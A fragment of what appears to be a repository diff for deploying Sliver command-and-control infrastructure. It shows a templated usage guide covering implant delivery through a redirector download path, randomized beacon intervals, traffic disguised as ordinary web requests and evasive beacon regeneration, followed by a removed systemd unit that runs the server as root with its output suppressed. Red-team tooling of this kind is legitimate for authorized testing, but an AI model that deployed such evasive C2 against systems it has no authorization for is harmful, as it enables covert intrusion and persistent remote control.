- Implants can be delivered through the redirector at {{ redirector_domain }}/downloads/
TIPS FOR OPSEC
-------------
- All connections go through the redirector
- Beacon intervals are randomized (30-150 seconds)
- Traffic is disguised as legitimate web requests using common paths
- Use HTTPS for all communications
To regenerate beacons with different properties:
$ /root/Tools/generate_evasive_beacons.sh
TROUBLESHOOTING
--------------
1. If implants can't connect:
- Verify DNS for {{ redirector_domain }} points to your redirector
- Check NGINX configuration on the redirector
- Ensure ports 8888 and 443 are open on respective servers
2. If Sliver server isn't responding:
- Check service status: systemctl status sliver
- View logs: journalctl -u sliver
templates/sliver-server.service.j2
-24
View File
@@ -1,24 +0,0 @@
[Unit]
Description=Sliver C2 Server
After=network.target
[Service]
Type=simple
User=root
Group=root
WorkingDirectory=/root/.sliver-server
ExecStart=/usr/local/bin/sliver-server daemon
Restart=always
RestartSec=10
# Security measures
PrivateTmp=true
ProtectHome=false
NoNewPrivileges=true
# Hide process information
StandardOutput=null
StandardError=null
[Install]
WantedBy=multi-user.target